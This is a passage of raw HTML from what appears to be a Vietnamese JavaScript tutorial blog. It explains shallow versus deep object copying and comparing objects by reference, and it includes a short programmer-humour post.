operator">:</span> <span class="token string">"point"</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point2 <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span>point2<span class="token punctuation">,</span> point1<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>point2<span class="token punctuation">.</span>metadata<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// point</span> <span class="gatsby-highlight-code-line">point2<span class="token punctuation">.</span>metadata<span class="token punctuation">.</span>type <span class="token operator">=</span> <span class="token string">"CHANGED"</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>point2<span class="token punctuation">.</span>metadata<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// CHANGED</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>point1<span class="token punctuation">.</span>metadata<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// CHANGED</span></span></code></pre></div> <p>Trong ví dụ trên, giá trị ứng với <code>metadata</code> là một object. Với copy nông, hai biến <code>point2</code> và <code>point1</code> vẫn đang dùng chung bộ nhớ đối với <code>metadata</code>.</p> <p>Vì vậy, khi thay đổi ở <code>point2</code> thì <code>point1</code> cũng thay đổi theo.</p> <blockquote> <p>📝 Ngoài cách trên để copy nông, bạn cũng có thể dùng cú pháp spread <code>(...)</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> p1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> p2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token operator">...</span>p1 <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Cú pháp spread <code>(...)</code> có nhiều điều để nói và được áp dụng ở nhiều trường hợp nên mình sẽ trình bày ở bài viết sau.</p> </blockquote> <h2 id="copy-sâu-deep-copy" style="position:relative;"><a href="#copy-s%C3%A2u-deep-copy" aria-label="copy sâu deep copy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Copy sâu (deep copy)</h2> <p>Khi object bao gồm nhiều đối tượng lồng nhau, bạn cần copy sâu (deep copy) để có thể tạo ra đối tượng độc lập.</p> <p>Lấy lại ví dụ ở trên:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">metadata</span><span class="token operator">:</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"point"</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong ví dụ này, giá trị của thuộc tính <code>metadata</code> không phải giá trị nguyên thủy mà là một object.</p> <p>Để thực hiện copy sâu, bạn có thể dùng hàm <code>JSON.stringify()</code> để chuyển object về dạng <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a>. Rồi sau đó, bạn dùng hàm <code>JSON.parse()</code> để tạo lại một object mới từ JSON.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">metadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"point"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// chuyển object về dạng JSON</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> jsonPoint1 <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>point1<span class="token punctuation">)</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>jsonPoint1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {"x":1,"y":2,"metadata":{"type":"point"}}</span> <span class="token comment">// parse JSON lại thành object mới</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> point2 <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>jsonPoint1<span class="token punctuation">)</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>point2<span class="token punctuation">.</span>metadata<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// point</span> point2<span class="token punctuation">.</span>metadata<span class="token punctuation">.</span>type <span class="token operator">=</span> <span class="token string">"CHANGED"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>point2<span class="token punctuation">.</span>metadata<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// CHANGED</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>point1<span class="token punctuation">.</span>metadata<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// point</span></code></pre></div> <p>Bạn thấy là khi thay đổi giá trị của <code>metadata</code> trong <code>point2</code> thì giá trị tương ứng trong <code>point1</code> vẫn không thay đổi. Chứng tỏ <code>point2</code> hoàn toàn độc lập với <code>point1</code>.</p> <p>Đó chính là <strong>copy sâu</strong>.</p> <p><strong>Giới hạn của <code>JSON.stringify</code> và <code>JSON.parse</code></strong></p> <p>Hàm <code>JSON.stringify</code> có giới hạn là nó sẽ bỏ qua thuộc tính mà giá trị của nó là <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> (mặc dù về bản chất hàm cũng là object).</p> <p>Ví dụ giá trị của thuộc tính là hàm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token function-variable function">getDisplayName</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token string">"(x: "</span> <span class="token operator">+</span> x <span class="token operator">+</span> <span class="token string">", y: "</span> <span class="token operator">+</span> y <span class="token operator">+</span> <span class="token string">")"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// chuyển object về dạng JSON</span> <span class="token keyword">let</span> jsonPoint1 <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>point1<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>jsonPoint1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {"x":1,"y":2}</span> <span class="token comment">// parse JSON lại thành object mới</span> <span class="token keyword">let</span> point2 <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>jsonPoint1<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>point2<span class="token punctuation">.</span>getDisplayName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Bạn thấy rằng, <code>JSON.stringify(point1)</code> đã bỏ qua thuộc tính <code>getDisplayName</code>. Vì vậy, khi dùng <code>JSON.parse(jsonPoint1)</code> để tạo ra object <code>point2</code> thì object <code>point2</code> không có <code>getDisplayName</code>.</p> <p>Hay nói các khác là giá trị <code>point2.getDisplayName</code> bằng <code>undefined</code>.</p> <blockquote> <p>💡 Để giải quyết vấn đề này, bạn cần xử lý thêm nhiều trường hợp nữa (nằm ngoài phạm vi bài viết này).</p> <p>Hoặc bạn có thể sử dụng hàm thư viện <a href="https://lodash.com/docs/4.17.15#cloneDeep"><code>_.cloneDeep(value)</code></a> để giải quyết bài toán nhanh hơn.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Vì object là kiểu dữ liệu tham chiếu nên việc copy object trong JavaScript thực chất là copy địa chỉ.</p> <p>Một số cách để copy object thành đối tượng độc lập:</p> <ul> <li>Dùng vòng lặp <code>for...in</code> để duyệt tất cả các thuộc tính trong object rồi gán giá trị tương ứng cho object mới.</li> <li>Dùng <code>Object.assign</code> hoặc cú pháp spread <code>(...)</code> để copy nông (shallow copy).</li> <li>Dùng <code>JSON.stringify</code> và <code>JSON.parse</code> hoặc hàm thư viện <code>_.cloneDeep(value)</code> để copy sâu (deep copy).</li> </ul>[email protected]<![CDATA[Ảnh chế vui #4: People life vs Programmer life]]><![CDATA[People who work every monday to friday and relax at the weekend. Programmers who work every monday to friday and work hard at the weekend. Programmers aren't people, they are…]]>https://completejavascript.com/anh-che-vui-4-people-life-vs-programmer-life/https://completejavascript.com/anh-che-vui-4-people-life-vs-programmer-life/<![CDATA[Ảnh chế]]>Tue, 16 May 2017 00:21:22 GMT<p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQozwGfAmD9AP///9Pb4cG3spmKg5iJgredjrKfk86+tff08/b4+W92ehoXFS4nI3VtbGFnZXCAdXFvcXBvcXx7fHh0cQD19PPb5OmxtLaMgX2rpKK7r6m8opWnjYLSv7f///9VXWIAAAAmHRhKPTgfJBwcMyMZFBcpHiAtKCtRT1AA7Ovq09/kTVxmVFdbxsjKt7e4moB0k4N8pZeT19/kjYmHTDQohHJrPT4+ExMbMR8lLhsnLCEqKiEkY19eAPn6+qm4wlZjbGpiYpGWm4qEgoNybEVeaEhmccTP1qugmodsXamakqCKdGNLPjMmJiQaHxwWGCUfH1tWVgD6+/yVp7Ozur+hjIGZoaartrzOxsC/v76DmaLb19mQjIY2PSxJYFitmXmQe2NwX0/ZsYmTeWVzaFxlYF0A8fb6j7rUqqemlbHBjLzXjLTIlsTZmMTdxN/tndPwf7HBiIx/ho+Hl6Ccc3FjdWpfrZ2Pm5OQnZyefoWLAOrx98DDual9XpOgqYmDfqqkoJCNi5WCdqGBbMLX4ZOtu3d0c6ampaempmhbT1tCOx8pOx4pPFJZZqarsgDj5/HcwWezdSl4V0yuj3ShinmhbUirdlGWh3mxqaCvqadVOzFVQjllSTmBX0lbVlUwN0ZrX2EUGSpiZ3IA8/L58OZOzpoDc5ylirayyphwxLam9da7tq6gbZSixLqxhmZTeU0zkls8nmpMR09bTF9yU2BwIy9CGBwoAP/w5//aidPFcZPQ3pq3tcy0pd/b1vDaxdDKwL7T29fSzauThqmLeLqYg6yMeXmCjGdwe2VqcGZtdGFiZAD92cD6vqDt7fXq5uXr5+bt7e7q6enr7e76+/z////////////////+/v7u7/Dv7u3p5+bs6uju7Ov29fWg43dAtE2jLAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="ảnh chế vui #4: people life vs programmer life tại completejavascript.com" title="ảnh chế vui #4: people life vs programmer life tại completejavascript.com" src="/static/6425e50572e10482ac68c1e570cb14fc/7c811/people-life-vs-programmer-life.png" srcset="/static/6425e50572e10482ac68c1e570cb14fc/103f2/people-life-vs-programmer-life.png 165w, /static/6425e50572e10482ac68c1e570cb14fc/748ba/people-life-vs-programmer-life.png 330w, /static/6425e50572e10482ac68c1e570cb14fc/7c811/people-life-vs-programmer-life.png 660w, /static/6425e50572e10482ac68c1e570cb14fc/a27c6/people-life-vs-programmer-life.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="people" style="position:relative;"><a href="#people" aria-label="people permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>People</h2> <p>who work every monday to friday and <a href="/tag/anh-che/"><strong>relax</strong></a> at the weekend.</p> <h2 id="programmers" style="position:relative;"><a href="#programmers" aria-label="programmers permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Programmers</h2> <p>who work every monday to friday and <strong>work</strong> <strong>hard</strong> at the weekend.</p> <ul> <li>Programmers aren't people, they are <strong>heroes</strong>.</li> <li>That's programmer life.</li> </ul> <p>See you in the next post, thank you!</p> <h2 id="similar-posts" style="position:relative;"><a href="#similar-posts" aria-label="similar posts permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Similar posts</h2> <ul> <li><a href="/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay/">Ảnh chế vui #1: Cách lập trình viên chạy hằng ngày</a></li> <li><a href="/anh-che-vui-2-code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang/">Ảnh chế vui #2: Code anh không có bug, tất cả chỉ là tính năng</a></li> <li><a href="/anh-che-vui-3-how-i-met-javascript-parody/">Ảnh chế vui #3: How I met JavaScript – Parody</a></li> <li><a href="/anh-che-vui-5-specialist-vs-generalist-winner/">Ảnh chế vui #5: Specialist vs Generalist – who is the winner?</a></li> <li><a href="/anh-che-vui-6-type-programmer/">Ảnh chế vui #6: A type of programmer</a></li> <li><a href="/anh-che-vui-7-ip-man-4-phien-ban-lap-trinh-vien/">Ảnh chế vui #7: IP man 4 phiên bản lập trình viên</a></li> </ul>[email protected]<![CDATA[So sánh 2 object trong JavaScript]]><![CDATA[Điều cơ bản khác nhau giữa object và các kiểu dữ liệu nguyên thủy khác là object lưu trữ dữ liệu theo kiểu tham chiếu. Nên việc so sánh 2 object trong JavaScript là theo địa chỉ…]]>https://completejavascript.com/so-sanh-object-trong-javascript/https://completejavascript.com/so-sanh-object-trong-javascript/<![CDATA[Kiểu dữ liệu]]><![CDATA[Object]]>Mon, 15 May 2017 05:00:00 GMT<p>Điều cơ bản khác nhau giữa object và các <a href="/kieu-du-lieu-trong-javascript/">kiểu dữ liệu nguyên thủy</a> khác là object lưu trữ dữ liệu theo kiểu <a href="https://vi.wikipedia.org/wiki/Tham_chi%E1%BA%BFu_(khoa_h%E1%BB%8Dc_m%C3%A1y_t%C3%ADnh)">tham chiếu</a>. Nên việc so sánh 2 object trong JavaScript là <strong>theo địa chỉ</strong> (chứ không phải theo giá trị).</p> <p>Vì vậy, trước khi tìm hiểu chi tiết về việc so sánh giữa hai object, mình cần hiểu cơ bản về kiểu dữ liệu tham chiếu.</p> <h2 id="kiểu-dữ-liệu-tham-chiếu" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-tham-chi%E1%BA%BFu" aria-label="kiểu dữ liệu tham chiếu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu tham chiếu</h2> <p>Khi gán một object cho một biến, thực chất là biến đó đang <strong>lưu địa chỉ</strong> trong bộ nhớ của object.</p> <p>Khi ta truy cập vào một thuộc tính của object, trình thông dịch sẽ dựa theo <strong>địa chỉ đã lưu</strong> để truy xuất đúng giá trị cần lấy trong bộ nhớ.</p> <p>Ví dụ về object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> p1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> p2 <span class="token operator">=</span> p1<span class="token punctuation">;</span> p2<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p2<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p1<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <p>Trong ví dụ trên, mình <a href="/object-la-gi-object-trong-javascript/">khởi tạo object</a> <code>p1</code>. Tiếp theo, mình khởi tạo <code>p2</code> và gán bằng <code>p1</code>. Sau đó, mình thay đổi giá trị thuộc tính <code>x</code> trong <code>p2</code>. Nhưng thấy kết quả là <code>p1.x</code> và <code>p2.x</code> đều thay đổi.</p> <p>Điều này cho thấy là <code>p2</code> và <code>p1</code> đang cùng trỏ vào một <strong>vùng nhớ giống nhau</strong> trong bộ nhớ.</p> <p>Đây chính là đặc điểm cơ bản của kiểu dữ liệu tham chiếu. Sau đây, mình sẽ tìm hiểu kỹ hơn về cách để so sánh 2 object trong JavaScript.</p> <p>Sau đây, mình sẽ tìm hiểu các phương diện so sánh 2 object trong JavaScript là:</p> <ul> <li>So sánh object bằng tham chiếu.</li> <li>So sánh object qua giá trị cách thủ công.</li> <li>So sánh nông (shallow equality).</li> <li>So sánh sâu (deep equality).</li> </ul> <h2 id="so-sánh-2-object-bằng-tham-chiếu" style="position:relative;"><a href="#so-s%C3%A1nh-2-object-b%E1%BA%B1ng-tham-chi%E1%BA%BFu" aria-label="so sánh 2 object bằng tham chiếu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh 2 object bằng tham chiếu</h2> <p>JavaScript cung cấp hai <a href="/toan-tu-so-sanh-trong-javascript/">toán tử so sánh</a> là <code>==</code> và <code>===</code>, trong đó:</p> <ul> <li>Toán tử <code>===</code> ("bằng nghiêm ngặt") trả về <code>true</code> khi và chỉ khi hai biến có <code>cùng kiểu dữ liệu</code> và <code>cùng giá trị</code>, ngược lại thì trả về <code>false</code>.</li> <li>Toán tử <code>==</code> trả về <code>true</code> khi hai biến có <code>cùng giá trị</code> và có thể <strong>khác kiểu dữ liệu</strong> (JavaScript sẽ <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển về cùng kiểu dữ liệu</a> để so sánh), ngược lại thì trả về <code>false</code>.</li> </ul> <blockquote> <p><strong>Đối với so sánh object bằng tham chiếu:</strong> hai object được gọi là bằng nhau khi và chỉ khi chúng cùng tham chiếu đến cùng một địa chỉ bộ nhớ. Hay nói ngắn gọn là chúng hoàn toàn giống nhau.</p> </blockquote> <p>Ví dụ hai object bằng nhau theo tham chiếu:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> y <span class="token operator">=</span> x<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y <span class="token operator">==</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y <span class="token operator">===</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Trong ví dụ trên, hai object <code>x</code> và <code>y</code> đang cùng tham chiếu tới một địa chỉ. Vì vậy, chúng hoàn toàn bằng nhau.</p> <p>Ngược lại, hai object độc lập sẽ không bao giờ bằng nhau, mặc dù trông có vẻ giống nhau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> y <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// khởi tạo object độc lập</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y <span class="token operator">==</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y <span class="token operator">===</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Hai object <code>y</code> và <code>x</code> đều là <strong>object rỗng</strong> nhưng chúng đang tham chiếu tới hai địa chỉ khác nhau, nên không bằng nhau.</p> <p>Ngoài hai toán tử trên, bạn có thể dùng hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is(value1, value2)</code></a> để so sánh 2 object trong JavaScript bằng tham chiếu.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> y <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token comment">// object cùng tham chiếu</span> <span class="token keyword">let</span> z <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// object độc lập</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">is</span><span class="token punctuation">(</span>y<span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">is</span><span class="token punctuation">(</span>z<span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="so-sánh-2-object-qua-giá-trị-cách-thủ-công" style="position:relative;"><a href="#so-s%C3%A1nh-2-object-qua-gi%C3%A1-tr%E1%BB%8B-c%C3%A1ch-th%E1%BB%A7-c%C3%B4ng" aria-label="so sánh 2 object qua giá trị cách thủ công permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh 2 object qua giá trị cách thủ công</h2> <p>Đôi khi mình muốn so sánh thủ công <strong>từng giá trị</strong> ứng với <strong>từng thuộc tính</strong> của object. Và mình coi hai object bằng nhau khi chúng có cùng thuộc tính và cùng giá trị với từng thuộc tính.</p> <p>Ví dụ xây dựng bài toán vẽ hình, khi đó mỗi điểm trên màn hình là một <strong>point</strong> với tọa độ <strong>(x,y)</strong>. Khi đó, hai <strong>point</strong> bằng nhau khi chúng có cùng tọa độ <strong>(x,y)</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code 